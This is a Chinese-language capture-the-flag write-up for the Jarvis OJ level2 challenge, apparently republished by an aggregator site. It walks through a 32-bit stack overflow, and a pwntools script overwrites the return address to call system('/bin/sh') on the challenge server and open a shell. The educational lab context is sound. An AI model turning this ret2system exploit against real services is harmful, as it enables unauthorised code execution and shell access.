Jarvis OJ - [XMAN]level2 - Writeup
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Jarvis OJ - [XMAN]level2 - Writeup相关的知识,希望对你有一定的参考价值。
简单利用“/bin/sh”夺权
简单看一下
放到ida中发现了“/bin/sh”串,和system函数,可以利用==
所以只要在vuln函数返回时跳转到system函数,同时添加参数“/bin/sh”就可以实现啦
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * io = remote("pwn2.jarvisoj.com",9878) elf = ELF("./level2") sys_addr = elf.symbols["system"] bin_addr = elf.search("/bin/sh").next() payload = ‘a‘*(0x88 + 0x4) #辣鸡填充值 payload += p32(sys_addr) #覆盖返回地址到system函数 payload += p32(0xdeadbeef) #随意填写system函数调用结束的返回地址 payload += p32(bin_addr) #system函数的参数,指向“/bin/sh”,实现调用 io.recvline() io.sendline(payload) io.interactive() io.close()
此时程序流程如图
放成果图
其实这种没有PIE保护的程序,很多函数地址可以直接从ida中复制过来,在exp中直接赋值为0x8048···,但是为了增强普适性,均使用symbols函数获得
作者:辣鸡小谱尼
出处:http://www.cnblogs.com/WangAoBo/
如有转载,荣幸之至!请随手标明出处;
以上是关于Jarvis OJ - [XMAN]level2 - Writeup的主要内容,如果未能解决你的问题,请参考以下文章
[转]Jarvis OJ- [XMAN]level2/3_x64-Writeup
Jarvis OJ- [XMAN]level2/3_x64-Writeup——64位简单栈溢出
Jarvis OJ - [XMAN]level1 - Writeup